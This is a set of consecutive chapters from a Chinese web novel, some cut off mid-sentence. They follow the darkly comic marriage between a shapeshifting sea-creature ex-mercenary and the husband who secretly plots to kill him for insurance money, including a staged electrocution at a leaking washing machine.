他哭着哭着像是噎住了,不断从喉咙里发出哽咽的声音。卢森见他哭成这样,也慌张地拍着他、安慰他:“别怕别怕,我哪有那么容易死呢。” 是啊,你太难死了。白唯在心里翻了个白眼,嘴上还在哭:“可我连你的脉搏都摸不到了呀。” “这个……我从小就有这个毛病,一受刺激,心跳和呼吸都会暂时断拍。”卢森一手抱着白唯,一手摸了摸鼻子,“以后别这么容易害怕,很快你就会习惯了。” “哦……”白唯吸了吸鼻子。 看着怀里梨花带雨的白唯,卢森低下头,亲昵地碰了碰他的鼻子:“而且,我怎么会这么容易就死呢。我要陪你一辈子的。还记得我们说过的吗?只有死亡能将我们分开。” “嗯。”白唯把头埋在卢森的胸口,他故意扭着换了角度,好让卢森不看见那袋可疑的“花肥”,“直到死亡将我们分开。” 卢森也紧紧抱着白唯,好让他的视线远离地窖的方向,见白唯如此配合,他也松了口气。 还好,没有让白唯看见地窖里藏着的东西。 如果让白唯看见的话……或许他只有使用能力,让白唯失去所有记忆吧。 放在过去,他是会这样做的。毕竟,白唯只要能一直跟在他身边就够了,做一个失忆的、漂亮的收藏品也没有任何问题。他会一直养着白唯,就像养着那些名贵的画作,他也会让白唯一直维持着他现在的模样。 但昨晚过后……他发现自己似乎不想这么做了。 他不想让白唯失去记忆。 他把白唯安顿回了客厅,又碰到了前来串门的邻居会计太太。这位年近六十的老太太素有大喇叭之称,精神活力十足,爱传雪山镇的所有八卦。今天卢森在去集市时遇见了她,她直夸卢森是个好男人,这大概就是她今天过来串门的理由。 “早上好,卢森,白唯,集市上的面包好吃吗?”她眼珠骨碌碌地看了两人一圈,“哎哟,这是怎么了?怎么大早上的把眼睛哭红了啊?” 卢森知道如果不堵住老太太的嘴,离谱的留言会传得满雪山镇都是。他于是说:“刚才阿唯去后院弄花,碰见了一只很大的天牛,还有许多红蜘蛛。” “天哪!天牛!红蜘蛛!”老太太捂住自己的嘴,“你怎么能让这种东西在你的后院泛滥成灾?我见过你们的后院原本的样子,那是一片多大多好的花园啊。可现在呢,你们在前院只种草坪,在后院毫不打理,我难以想象它如今的样子……” 卢森解释:“我们太忙了,没有时间做这些。” “从生活里抽一点时间来打理花园难道是什么大事吗?花园也是生活的一部分,那是你们的居住环境!在肮脏杂乱的居住环境里,会让居民也变得性格糟糕的!”老太太叉着腰指责,“我家老头子最擅长花园园艺。卢森,等他下班后,我叫他过来教你怎么打理花园。多大的花园哦……浪费了真可惜……” 她看起来比这两人还要痛心疾首。卢森趁热打铁道:“李奶奶,我正要去后院处理一下刚被我们打碎的花盆。麻烦你在这里陪一下阿唯好吗?我想他现在应该不会想再去后院了。” 白唯却一下子站了起来:“不,我要一起去……” “哟!哟!你就歇着吧,坐着!”老太太强行把白唯按了下去,“就让你老公去处理。” 卢森借此机会跑到了后院。他凭借印象在杂物间里翻找,找出了一把大锁。然后跑到了那个花架之后。 白唯的这次到来让他觉得地窖不再安全。事到如今,还是把它锁起来比较好。即使白唯问起,他也可以用其他理由搪塞过去。 地窖盖子上躺着一袋花肥。卢森打开地窖,检查门口灰尘,确定白唯还没打开过。他顺手把那袋花肥也扔进了地窖,而后用一把大锁锁上了地窖门。 有光投进地窖深处,卢森能隐约看见里面站着两具人形。 这两具人形都和卢森长得一模一样。它们是卢森的“壳”。 就像蛇每年会蜕皮一样,卢森每过三个月,也会蜕一次壳。在搬来雪山镇后,卢森已经蜕壳两次。他将这些换下来的“壳”放在后院的地窖里,打算储存起来做药材、或用于其他用途。 但此刻卢森有点焦虑。因为在一个月内,这里面就会多出第三具。 在蜕壳的前后十天里,卢森会陷入一种状态激昂、欲望强烈、性格暴躁、很难控制自己的情绪的状态。在过去的两次,他都以外出为修车店进货糊弄了过去。他待在外面静静地蜕完壳,将这些壳装进车里,带回地窖。彼时白唯并不在意他,也从不问自己的丈夫在那半个月里去了哪里。 可现在,卢森看见了白唯的改变。他有些不想从雪山镇里出去了。天知道这一走半个月又会改变什么。 而且今天白唯已经注意到了这座地窖。万一他趁他不在,打开地窖该怎么办? 他心事重重,又在邻居老太太的催促下去修车店上班。哭过、已经平静的白唯坐在沙发上看他。他脸颊白皙,五官俊秀,像是一个漂亮的模特儿。 “好好上班。”他花瓣似的嘴唇说。因为被卢森亲过,他的嘴唇已经不再是浅粉色,而是很有生机、也很有肉感的红色。 卢森心里动了动。他还想咬一口他。 “还有,早点回家。”邻居老太太对他眨了眨眼,自顾自地补上了后面一句话。 白唯在心里的脸色有些黑。但面对卢森时,他还是露出了乖乖的模样。卢森于是点头道:“我会早点回来的。” 卢森的修车店在镇子的外围,靠近一条高速公路。雪山镇很闭塞,很少有人会来这里旅行,镇上的大多数人也习惯了自己修车。卢森一年到头也没什么生意,还好,他学会了做假账。 卢森在国内外有许多神秘的银行账户。这些账户里储存着他做佣兵时的积蓄,还有他从海底捞出来的宝藏。每个月他会从中拿出一笔钱当做这个月的收入,把它存进自己拿给白唯的账户上。然后,他会在修车店的账本上随便写点什么修车记录。 比如“7月12日,漩涡鸣人更换保险杠一条。” 比如“5月9日,拿破仑购买玻璃水一瓶。” 又或者“11月11日,步惊云改装车辆,增加气缸一个。” 白唯不查账,税务局也不查这些账,卢森在修车店里瘫得心安理得。风起云涌的岁月已经结束,他也不再做那些刀口舔血的事情。原先,他总想着融入人类社会,去做一个位高权重、受人崇敬的人——比如像白唯祖父的家族会做的那样。后来,在最近的日子里,他没有目标感,为现在的生活颇感乏味。可如今他发现,好像在雪山镇里归隐,也是个不错的选择。 而且他今天亲吻了白唯。他学着那些漫画、小视频里的人去做,感觉味道很不错。而且这还让他产生了一种异常的、从未体验过的冲动。 深海里来的他如今选择了拟态做人类。他的一切生理冲动也会被拟态成人类的冲动体现出来。卢森索性开着电脑,搜索这种陌生的感觉。 “感觉硬硬的是怎么回事。” “和老婆脑袋热热的想进攻” “老婆的身上香香的想弄他” “性行为” “男男性行为” “卢森哥!!” 在卢森研究各种图像时,风驰电掣的摩托车声音已经到达了修车店门口。戴着偷窥的摩托车手杨棣从机车上跳了下来。他大喊大叫着,冲进了店面。 杨棣是小镇机车一族的头头,平日在家里的店里帮忙。自从卢森暗中用触手帮他修好了掉落的小零件后,杨棣便把卢森视为他眼中的神明。他没事就来修车店里改装一下他的小车,或者和卢森聊聊天。 杨棣总说他的情感生活很丰富。或许询问杨棣会是个不错的选择。卢森思考着,关掉了电脑上的页面。 但还是让杨棣看见了一角,他一脸坏笑道:“卢森哥,大白天的你在看什么呢?” “正好,你过来,我有个问题要问你。”卢森说。 他让杨棣坐在自己旁边,严肃的脸色看得杨棣背后发毛。终于,卢森提出了他的疑问:“你和你的女朋友,接吻吗?” “哈?”杨棣一愣,旋即大笑,“大哥,你说呢?谈恋爱不接吻,是在过家家吗?” 卢森说:“她会露出什么样的表情?” “什么什么样的表情……大哥你不会有什么特殊癖好吧。这可不兴说啊。”杨棣警惕起来。 卢森说:“事实上,我正陷入一场漩涡,我不理解我的妻子为什么会在亲吻时露出这样的表现。我想知道正常人会是什么样的表现。在遇见你之前,我在网上搜索。那些漫画和视频里的人,都会露出幸福的表情,而且不会非常抗拒、发起攻击。” 杨棣伸出了脑袋,充满好奇:“大哥,什么情况啊?” “或许接下来我得问个更难以启齿的问题。”卢森说,“你有没有……” “哦不!怎么可能!怎么能在结婚之前做这种事!”杨棣梗着脖子道,“我们小镇的人都很传统的!” “结婚前?”卢森一愣,喃喃自语道,“我们人类结婚前,是不能做这件事的吗?如果做了,会怎么样?” “什么我们人类,说得好像我不是人类一样。”杨棣反驳,而后又脸红了,“总之我觉得这样不太好吧……如果她不是你想要共度一生的人呢?” 就在他们说话间隙,有人在他们身后咳了一声。杨棣回头一看,是镇上与妻子结婚几年的报社编辑。 “或许我应该问你这个问题。”卢森自言自语。 他把杨棣赶了出去,又把编辑请了进来。编辑不愧是做文字工作的,很快抓住核心:“你觉得你和你妻子之间,有不可调和的矛盾?” 卢森强调:“我认为是可以调和的。” 编辑像敷衍每个固执己见的采访对象一样敷衍他:“好的,所以矛盾是什么?你们关系不好?放轻松,很多夫妻关系都不好。比如我和我老婆,最近就……” 卢森犹豫了一下。他觉得自己对人类世界还是不够了解,或许只有通过场景描述才能让编辑明白。 他简要地描述了一下早上吃面包的场景。很快,他收获了编辑的沉默。 编辑如此沉默,卢森觉得心里一沉,得到了答案:“所以我和我妻子的关系,很不好?” “不。”编辑摘下眼镜擦了擦镜片,又擦了擦眼泪,“我好嫉妒你。你老婆好会玩。我说你啊,是知道我和我老婆天天吵架,故意在我面前秀恩爱吗?” 原来,这意味着他和白唯很恩爱! 卢森觉得自己的心像是被羽毛酥酥麻麻地滑了一下。他诧异于这种陌生的感受,又询问因嫉妒要拂袖而去的编辑:“但是在气氛最好的时候,他推了我一把。他很抗拒,我不知道为什么。” 在他描述之后,编辑再度沉默地看着他。 “……所以?”卢森无法理解。 “一般来说,我会认为,你和你老婆关系很不好。他抗拒你是很正常的。”编辑慢慢地说,“但考虑到你们在早餐时……这么玩儿……我觉得应该不是。” “那是?” “这个,你要不要考虑一下,你们昨天晚上做了什么?”编辑富有暗示性地说。 “我们昨晚什么都没做。”卢森诚恳地看着这个比他弱小很多的人类。 在过去从海底爬出来、当佣兵时,人类对于卢森来说只不过是一个数字——一个随时会被捏碎的数字。而如今,他来到这座小镇,这些脆弱不堪的人类转瞬之间,却成为了比他“强大”的情感指导,这让卢森觉得世事十分神奇。 而这一切都要拜白唯所赐。想到这里,卢森又感受到一点新奇的感觉。就像三色视觉忽然变成了四色,一个更加光怪陆离的新世界在他的面前展开。 在他咀嚼这种感觉时,编辑说:“那你们之前呢?你们多久没有……那个那个?你之前的表现是不是让他很不满意?他觉得很痛,是不是?他有和你说过吗?” “我们没有过……” 那一刻,打断了自己的声音的卢森忽然理解了一切。 黑港城,他又想起了两年半前在黑港城搁浅的那次经历。白唯一定已经不记得那时的事情了,那时他也并没有拟态成现在的长相。那次正值他的蜕壳期,他和白唯之间发生的事情……哦,他记得白唯那时候应该是很痛的,那双白皙的长腿像是搁浅的鱼一样在床单上挣扎。那只是一夜间发生的事情,再后来白唯就从黑港城搬走了。他们的再次见面,是他顶替了白唯“未婚夫”的身份后,而且很巧地、认出了他的“未婚妻”就是黑港城的白唯。 而且,卢森看了一眼杨棣。 还是在婚前。 卢森默默咽下了其他的话。编辑认为自己猜对了,他拍拍卢森的肩膀,语重心长要求他开始反思,找点教材磨练技术。卢森店也不想开了,话也不想说了。在海中陆上叱咤风云的他忽然觉得自己在这些人类面前很菜、也很弱小。 现在他只想学习。 直到一句话又点亮了他。 “无论如何,你的老婆一定很爱你。他都愿意和你玩那种面包游戏。我的老天,在我和敏敏结婚两年后,我和她就根本不玩这些了!”编辑在钻出修车店门时进行评价,“你老婆平时看起来那么冷淡,没想到私底下对你这么会玩。你这个该死的幸运鬼!” 该死的幸运鬼! 在把所有人类赶出店面后,卢森抱着脑袋。他面对着写满鸣人、路飞和步惊云的账单,面对着电脑屏幕上的漫画,脸上阴晴不定。 他时而迷茫,时而露出笑意——下一刻却又是诡异和奇怪。终于,他变得凝重,变得开始思考。 白唯是他的妻子啊!妻子就是老婆,老婆就是妻子。他的伪装身份的妻子也是他的妻子,所以白唯就是妻子,就是他的老婆。 白唯除了是他的收藏品,还是他的老婆。原来,这就是一直以来,他想要收藏白唯、单独收藏白唯,还要带着他从那个压抑的家里私奔的原因。明 6. 结婚周年的礼物 《经常死老公的都知道》全本免费阅读 卢森在踏入服装店前对着橱窗玻璃整理了自己的头发。一路风尘仆仆开过来,他试着让自己显得体面一点。对于目前这具拟态出来的英俊的身体,卢森左看右看,觉得很满意,直到他发现白唯就坐在玻璃的那头,眼睛正直勾勾地看着他的方向。 卢森:…… 一定被他看见我这副傻样子了——卢森尴尬地笑笑,对他挥手。但很快他发现,尽管正看着这边,白唯却没有注意到他。俊秀青年双眼黑黑的,是在发呆。 “您来啦!我们还有半个小时就要下班了。”先注意到他的反而是服装店的老板,直到卢森走进店里,她才仰着脑袋,一脸震惊,“天啊,你长得可真高啊。” 店员说:“但应该穿得下我们的衣服。” 服装店老板:“对,穿得下。这些衣服都是你夫人买给你的。他特地说过,要最好最贵的,这是给你的结婚一周年礼物呢。” 买衣服? 从来没有人给卢森买过衣服。卢森在穿着这方面从不挑剔,在出任务时购置卫衣、作战服也只是为了让自己看起来更像一个人罢了。而且,他也从来没有在乎过物品的价值。对于曾经的佣兵卢森来说,再昂贵的藏品,也不过是一个可以被抢夺的目标罢了。无论是梵高的画作,米开朗琪罗的雕塑,还是迪奥的礼服。在战火之中,这些东西都是不可食用的,也是卢森随时可以取得的、放进保险箱里的藏品。 可面对眼前这几个薄薄的纸袋,卢森却觉得它们好像烫手的山芋。明明在受雇抢夺各种宝物时手也不曾抖一下,这几件“小镇奢侈品”却给他一种随时都会被自己不小心撕碎的感觉。 “这是他买给我的?为什么?”卢森迫切想要知道原因。 “因为结婚一周年纪念日啊。”服装店老板看了一眼白唯,恍然大悟一般,“你不会还没有给他送过结婚一周年礼物吧?” 原来对于人类而言,结婚一周年纪念日,是这么重要的东西么? 可他什么都没有送给白唯……他怎么能这样对待自己的妻子? 卢森在茫然之余,又有些恍然大悟。被他此刻的表情打动,服装店老板看了一眼白唯,悄悄对卢森耳语:“关于银行卡的密码,你一会儿好好给你的夫人解释一下吧。” “为什么?”卢森问。 “他看起来完全不觉得这个日子是你们初遇的日子。在打了那通电话后,我就觉得他看起来闷闷不乐的。说不定,他以为那是你和别的小三的见面纪念日呢。”服装店老板善意提醒道,“夫妻之间有什么疑惑,还是尽早说开了好。老是让人胡思乱想,误会只能越滚越大哦。” 她把黑粉色的纸袋也递给卢森:“这里面的赠品也是给你们的。祝你们新婚一周年愉快!” 没等卢森多想,服装店老板已经拍拍他的肩膀,将他推向白唯。 “欢迎下次光临!” …… 白唯安安静静地坐在副驾驶上。他望着窗外,似在沉思,像是一座干净又漂亮的天使雕像。卢森看看他,又看看他怀里的纸袋子们,不相信这些东西是白唯给他买的。 他们好像已经习惯了在车上彼此沉默了。卢森不知道开车时该和妻子说话,白唯不喜欢说话。他们在过去的半年里住在雪山镇,却像是彼此的室友。卢森早出晚归,白唯每天在自己的房间里。 卢森不明白自己怎么看待白唯,他夺走白唯就像夺走一个觊觎已久的藏品,用一座房子充当博物馆,才能将他好好豢养。至于白唯——他好像觉得只要离开原生家庭就可以,无论在哪里,都是一样地生活着,从来没有看见过身边的人。 他们从一开始就没有“进入一段新关系”的思考和准备。 在过去半年里,没有任何人觉得这件事不对。 卢森这一刻,却觉得这样是不对的。他应该在车上和白唯多说一些话,他不明白这是为什么,或许是因为他觉得白唯孤零零地坐在那里,看起来很可怜。 比被孤单扔在那里,却没有被放在有软垫的盒子里的宝石还要可怜。 “我在想……” “你银行卡的密码,为什么是270920?”白唯偏着头说,“这对于你而言,是什么特殊的日子吗?” 卢森愣了一下,他操控方向盘的手变得有些迟疑:“如果我说,这是我第一次遇见你的日子呢?” 白唯轻轻地笑了两声。他的笑声如冰块在碗底撞击,足以让每个听众身心舒爽。 可他说:“撒谎。” “我可不记得我在那天,有遇见过你。” 卢森觉得舌头底下发烫,他说:“或许是我遇见了你,而你没记住……在那之后的一年后,我又在相亲时遇见了你。那一刻我觉得一切都是命中注定。” “那事情就糟糕起来了。我那天还在黑港城。黑港城里除了强盗,就是流浪汉。”白唯装作不经意地问了一句,“你是在哪里遇见我的?” 卢森果然顿了一下:“……电视台?” 白唯又笑了。他声音优雅温冷:“好的,电视台。” 卢森的这个回答让他放下心来。果然,银行卡密码的事实就像是这段婚姻一样使他厌烦。卢森只知道他曾在黑港城的电视台工作,却不知道那天他根本没去电视台工作。 不过无所谓。谁也不会在乎即将死掉的老公会隐藏什么样的秘密。 “老公”的一切都可以是假的,180cm的身高,公务员的编制,留学的经历,18cm的长度,顶刊发表的论文,公公婆婆的退休金……但只要老公的人身意外保险是真的,老公就还可以是真性情的好老公。 手握方向盘的卢森却有些犹豫。因为他忽然意识到一个事实。 2027年9月,“卢森”是不在黑港城的。 白唯不可能知道这是他们初次见面的日子。那时他的容貌和状态,与现在的“卢森”完全不一样。他还没有捡到“卢森”的护照,也没有冒充“卢森”的身份。 2027年9月,他被故人暗算,下海逃离。为了不被追杀,他在太平洋中狂游数千海里,为补充营养吞了一个海盗,又在蜕壳期上岸搁浅,流浪至黑港城中。他的意识并不清醒,拟态出来的容貌也并非如今的样子。 最终,他像一个流浪汉一样倒毙街头,是白唯那么温柔地捡起他、照顾他、给他补水,还和他有了那么幸福的一夜。但很遗憾,在他沉沉睡去,又在第二天于垃圾站中苏醒后,他们就再也没见过。 黑港城的客房服务确实很糟糕。他只是没有付第二天的房费,至于把他扔进垃圾站里吗!就像他死了要被抛尸一样。在那之后卢森就对黑港市的服务业有了很大的偏见,如果不是为了去寻找白唯,他不会给黑港市的店铺花任何一分钱。卢森虽然不是人,但这也是他作为消费者的选择。 而那时的“卢森”与他的双胞胎妹妹还没有在海难中死亡。他们在法国留学,夜夜笙歌,护照和身份证明被完好地放在家里的盒子里。他们精致优雅,出入上流社会的各处场所,日日用最昂贵的香槟亲吻自己娇美的嘴唇。 他们与卢森是完全不同的两类人。直到卢森在落难的船只中捡到了他们的护照,并错误地把哥哥和妹妹的护照碎片混在了一起,拼凑出了现在的“卢森”,并在一次偶然的相亲中,再次遇见了白唯。 放在过去,卢森并不会觉得对白唯保有这样的隐瞒,会有什么事情。他能施展手段,把白唯储在掌中,这难道不是他自己的本事吗? 可不知不觉的,他的心态发生了变化。 现在想想,都是从那一顿饭开始的。 如果让白唯误会那个日子是为了另一件事存在的话……他转头,听见白唯说:“有时我觉得,离开黑港城挺好的。” “我讨厌黑港城的每一条街道,每一个人。满街的□□分子,自甘堕落的流浪汉,不管事的城市安保员,从海边登陆的佣兵盗贼。二十年前,那里曾是我和我妈妈居住的地方。可现在,就连海湾里也满是浮起的油污和肮脏的海洋生物。生活在那里,我无时无刻不想给黑港城做一个大清洁。”白唯双手合十道。 “你讨厌……佣兵,流浪汉,还有海洋生物?”卢森的心灵有些颤抖。他觉得白唯说的那些东西都是他。 “嗯。还好我离开了那里,而且在那之后遇见了你,老公。”白唯对他巧笑倩兮,“你和黑港城完全不一样。你勇敢、有干劲、优雅、有学历,去过那么多地方……你就像是把我从泥沼里带出来的神明。” “……” “老公,你怎么不说话呀?” 白唯口中的那一切,都是属于“卢森”的,而不是属于他的。 白唯喜欢的,到底是“卢森”那个身份,还是作为他的“老公”的他? 卢森一路无言。白唯坐在副驾驶上,心想自己难道说错话了? 可在停车、进入玄关时,卢森却忽然说:“你为什么要给我买衣服?” 白唯转头意外地看着他:“因为你对我很好呀,老公。” 卢森说:“很好?” 他真心求解。卢森觉得自己做的,好像也没那么多,难道这对于白唯来说,就算是 7. 穿衣 《经常死老公的都知道》全本免费阅读 白唯坐在沙发上,看着卢森把衬衣、外套、领带、裤子和袜子一件件地从购物袋里掏出来。 粉黑相间的赠品袋被卢森顺手丢在旁边。这看得白唯额头青筋绷起,但他不能错过卢森的动作,只能忍耐住自己的强迫症,紧紧盯着卢森。卢森倒是在拿着衣服时掏出手机划拉了几下,间或偷偷看了白唯两眼。 “你在用手机做什么?”白唯很敏/感。 "哦你不要误会。我在查阅人类夫妻之间,一方要求另一方在自己面前换衣服,这件事正不正常。” 哦。白唯假笑,觉得卢森在阴阳他:“我觉得这很正常。” “是么?”卢森很意外,他关上那个充满了“性唤起”、“情/趣”搜索结果的浏览器,觉得自己也学到了新知识,“好的,那以后我每天脱给你看。” 白唯:“……不用了。” 差点没崩住表情。 白唯厌烦地用手指揉太阳穴,心想若不是那包过期的“花肥”,他也不需要在这里和卢森虚以委蛇。但当卢森开始脱毛衣外套时,他立刻站了起来:“换下来的衣服放在我这里。我一会儿把它们放进洗衣机。” 说着,他摸了摸外套口袋,很自然地将里面几张票据拿了出来。有了这个借口,他便能正大光明地摸卢森的口袋了。 卢森的外套口袋里没有他需要的东西。很明显,白唯需要的东西在卢森下半身的裤子里。可当他继续观察时,卢森的上半身已经干干净净了。 直到离开黑港城前,白唯一直有做运动的习惯。他的肌肉并不夸张,薄薄覆盖躯体的一层肌肉已经够用,而且修饰得他宽肩窄腰的身体线条十分美好。在健身房里,不乏有对白唯表达好感的男性。他们喜欢炫耀自己的肌肉,乃至于站上白唯身边的跑步机,幼稚地玩一些单方面的竞跑和展示。 白唯认可肌肉线条是人体艺术美的一部分。他知晓建筑学,也学过素描和解剖。人体肌肉就像是组合完美的大理石,是古今艺术都喜欢描摹的一部分。肌肉的走向在解剖中也会影响刀的走向。在什么地方应该使力气,在什么地方应该顺着纹路切割。 有时候,对人类□□的欣赏和对一块牛排的欣赏也没有任何区别。点缀于红肉中的雪花让人想到油脂在口腔中融化的香味,其斑驳纷落如森林里的大雪。那么人的肌肉与经脉也应被如此欣赏。白唯是这样认为的。 但卢森的肌肉线条是完美的,是古今中外雕塑家对于强壮、健美的永不停止的描摹。这让第一次如此专注欣赏的白唯甚至愣了一下。强健有力,如大理石,如罗马柱,如蓄势待发的猎豹。 ——一个汽车修理工,一个“做金融的”,需要这样的肌肉吗? 里衣被丢在旁边,里面显然也没有钥匙。白唯低身去捡里衣时听见卢森有些低哑的声音:“裤子也要换吗?” “要换。”白唯说。 即使白唯是个很有目标感的人,但卢森换裤子时白唯还是忍不住侧过了一点脸……这倒不是他有所反应之类的,只是觉得两人的距离太近了。 白唯对这件事很确定,他对卢森不会有什么生理反应。早在十五岁时,他就发现自己和其他人不同。 在青春期女女男男们开始对异性/同性的身体感到好奇,并开始接触相关制品时,白唯发现,自己无论是对女性还是男性,都没有任何生理反应。 相反,他对洁净与死亡产生了一种近乎病态的需求。那时白唯听说一件传闻,那个总在他们学校附近飙车、甚至撞残了一名学生的富二代死了。白唯一直很讨厌那个人,因为他的摩托车总在寂静的傍晚发出放屁般的巨响,排气管中也释放黑色的尾气,十分不干净。 可那天晚上,他却路过了那个人去世的现场。地上红黑的痕迹已经被洗干净,他平躺在床上,反复回忆着那片地面,想象着摩托车解体,医生将地上的人抬走,清洁工洗干净地面的场景。那一刻,他终于感觉到了一种强烈的兴奋感,随之而来的是安宁与幸福的感觉。 在那之后,白唯便意识到了自己与常人不同。他告诉医生自己是性冷淡,却隐瞒了自己的倒错倾向。当祖父要求他与卢森相亲时,白唯曾感到一种由身至心的抗拒。他难以想象自己和一个陌生人拥有亲密关系、结婚、乃至上床、生子……当他看见这个相亲对象竟然是一个男人时,白唯感到更加困惑了。 但他觉得这或许比与一名女性结婚,而且大可能会拥有一个孩子要好一点。比如现在,他只需要干掉卢森一个人,这个“家庭”就可以分崩离析了。 好在,在结婚之后,他们之间什么也没发生过。就像卢森也只是满足于“婚姻中”这个状态罢了。但白唯觉得这样也不错。毕竟卢森是死人。有时候一个活人老公,比一个死人老公还要麻烦。 但现在他们之间的距离……好像有些太近了。 或许是因为靠得太近。白唯难得发现卢森身上的味道也没有那么让人难以忍受。他想起夏日的海滩,夜晚时海水会变得温暖。那好像是很小的时候了,他的母亲还没有去世,他的父亲也还没有做一个离不开自己的姓氏的懦夫。他们一家三口在海滩上,阳光在海浪里飘荡,风把每只白鸥都吹得很远。 白唯因着虚幻的温暖恍惚了一阵。下一刻他觉得很难过——他现在仍然在一个“家庭”之中,可那不是他记忆美化过的那个。这个不负责任地结合起来的家庭里有他,还有卢森,车和房子模仿着家的模样,却还不如岸边的海水让人安心。他一定要纠正这个错误。 白唯意识不到自己更多是不想要这样继续下去的人生。他觉得自己大概是非常厌恶卢森。 卢森把裤子丢给白唯。白唯很快从裤兜里掏出两串钥匙——一串钥匙包括家门钥匙和车钥匙,都很眼熟,白唯能分辨出每一只钥匙的用途。另一串钥匙很陌生,且只有孤孤单单的一把。 白唯觉得自己找到了。而且卢森已经拖得不剩什么藏钥匙的空间了。他刚才瞟了一眼,卢森最后的短裤很紧身,显然没有裤兜。而且那个尺寸让他很快就转开眼了。 想到这里他抬头。 “你在干什么!!” 白唯很难得地拔高了声音。在卢森正对向他后,他快速把脑袋别到另一边去:“别用那个东西对着我!” “哦,你不想看见这个吗?我以为它的形状还不错。”白唯的反应让卢森很自责,他在拟态时的一切都选择了人类社会中最好、最受欢迎 8. 绝妙的想法 《经常死老公的都知道》全本免费阅读 “不是。是给你的,亲爱的。”白唯绷紧了脸。 卢森伸手拿起一件紧身衣扯了扯:“这好像不是我的尺码。这应该是你的尺码,不是吗?” “不是!那只是赠品!别乱碰!” 在拿到钥匙之后,白唯对卢森的耐心为零。他用力地从卢森手里扯回那件紧身衣。紧身衣的材质却使得它弹了一下,最终蒙上了自己的脸……等他把紧身衣从脸上扒拉下来时,发现一条带着铃铛的蕾丝chocker缠到了他的头发上。在他狼狈地与这些东西争执时,卢森就无动于衷地站在旁边。 白唯看见他这样子就来气。 “你就站在那里,一点都不过来帮忙吗?”他说。而且在说完后,他才意识到自己这句话特别像在娇嗔。 天哪……我白唯可从来没要求过做这种简单的事一定要人来帮忙啊……在看见卢森往前几步后,白唯立刻又道:“站在那里别动!” 卢森:“……你让我别过来的。” 白唯不管他,自己解那堆缠人的蕾丝。终于,他把东西放回袋子,扔到衣帽间的角落里,回头看见卢森站在那里,穿着他给他买的新衣服。身高超过一米九的卢森的确是个衣架子。丝质的暗红色衬衫被他的胸肌撑开,搭配米白外套和花色领带,让他看起来强壮、慵懒又随性。 那双眼睛却紧紧盯着白唯……白唯顺着他的目光往下一看,发现自己在半跪下塞赠品袋时衣服往上缩了起来,露出了一截洁白的腰。 ——这个人刚才不知道过来帮忙,现在反而开始盯着他的腰看了。这是白唯的第一个反应,而且他还想骂人。 白唯的第二个反应是:腰? 他盯着自己的腰看? 白唯于是忽然意识到自己方才的色厉内荏皆因感受到了威胁性所致。结婚一年,他突然发现到,卢森是一个比他更强大的、而且或许对他有企图的,男人。 过去的卢森在他眼里是温和的、笨重的、乃至于无机质的。卢森也曾专注地看着他,但那眼神就像是古董商看着自己心爱的宝物,欣赏它的美貌,不相信会有人好好照料它,于是势必将它夺走耐心储藏。这是他第一次从卢森眼里看见欲望——针对于他的、充满攻击性的欲望。 “现在可以碰了吗?”他听见卢森说。 在他能反应过来前,卢森已经掐着他的腰,把他抱到了沙发上。 再想反抗时,已经晚了。 “我很喜欢你给我买的衣服,亲爱的。”卢森抱着他的腰,虔诚地吻他,吻他苍白的脸,他颤颤的睫毛,他粉色的耳朵,“从前我一直以为,只要把你放在家里就够了……你却给我带来了这么多喜悦。从来没有人给我买过衣服,做晚餐,对我这么好……” 他又抬起白唯的手,开始吻他圆润的指甲,他漂亮的骨节,凸显青色血管的雪白手腕,像求婚那样吻他:“你有什么想要的吗?又或者,你想去哪里旅行吗?你想要什么样的东西,我都能抢过来给你。” 他的话语热情又真挚,像是突然发现了主人的狼狗。以至于白唯呆呆地看着他,竟然忘记了反抗。那种感觉就像是溺水一样,人体每个毛孔都被潮湿的热气浸入,在冬日的温泉里咕噜噜地往下沉…… 然而,对于狼狗而言,主人也可以是猎物。 卢森开始吻他的腰了,白唯哑着嗓子叫了一声,伸手去推卢森的脑袋。他听见卢森说:“从今天一早开始,我就一直有一种冲动……现在我明白了,我想要你,宝贝。亲爱的,你的一切我都想要。” 他捉住白唯那只推他的手,又开始吻它,抬起燃着幽暗火焰的双眼:“别拒绝我,给我好吗?” 那一瞬间白唯像是被水呛醒了:“不行……” 气氛一瞬间变得冷凝下来。 半晌,卢森把他的手放了下来:“为什么不行?” 白唯急切地为自己寻找借口:“我觉得……太快了。” “可我们已经结婚一年了。”卢森疑惑地说。 一年!确实,他们结婚已经一年了!白唯终于找到另一个借口:“我们还没吃晚饭。” “哦……”卢森同意了这个提议,“确实,这会很消耗体力。” “我去把脏衣服放进洗衣机里。你去把身上的新衣服换下来,换上家居服,自己把它们放进洗衣机里,然后去做晚饭。”白唯虽然还被卢森压在身下,但他立刻开始发号施令,“你明白我的意思吗?” 卢森总算从他身上起来了:“好,我买了菜回来,还放在车上。我稍后去拿。” 白唯松了口气,然后他听见卢森说:“等下,你看一下。” …… ………… “你,你干什么!” “我只是想机会难得,你觉得这个形态,你满意吗?”卢森堪称诚恳又耿直地笑着。 难道不满意的话还能是别的形态吗……在卢森抓着自己的手,不知道要往哪里摸的时候,白唯终于用另一只手捂住眼睛,嘴里说:“还、还好。” “是还好还是满意?”卢森追问,他是一个对客户反馈很认真的人,不像一般上班的。 这次白唯已经羞恼得连指尖都染上粉色了:“满、满意。” 被卢森松开后,白唯像是一只受惊的猫一样,顺滑地从他和沙发的空隙里滑出,捡起卢森落在地上的几件脏衣服,从二楼上窜了下去。 卢森犹在二楼回味白唯身上的味道。白唯已经停在洗衣机前。他左看右看,目光停留在一条漏水的管道上。 洗衣机漏水,很正常。洗衣机无法工作,蹲下来检查插头,很正常。插座短路,有一根电线伸进了那摊水里,恰好电死了前来洗衣服的人……这一切不是再正常不过了吗? 做完这一切,白唯并没有获得平静。他坐在沙发上,不停地用手在胸前画着十字。他觉得卢森不是人,而且那个大小也绝不是人可以忍受的。 直到卢森从楼上下来。他抱着衣服,却还想到沙发前亲白唯一下。那一刻白唯终于可以拿出平静的演技。他甜甜地笑了:“老公,你先洗完衣服,我们再亲亲。” “哦,好。” 卢森抱着衣服进洗衣房了。白唯在门外偷听。他听见卢森大声说:“亲爱的,地上好大一滩水。” “我刚才就看到了。”白唯假装自己的声音是从客厅发出来的,“可能是管道漏了吧。老公你蹲下来看一看好不好?如果管道坏了,你就换一节管道。” “好。” 白唯半阖上眼。那一刻,他首先听见的是电流的滋啦声,而后,是这片电路跳闸的声音。 天黑了,一如有什么东西,也倒下了。 那一刻,白唯至少知道,他今晚不再需要和卢森做/爱了。 “老公?老公?你还在吗?怎么了?” 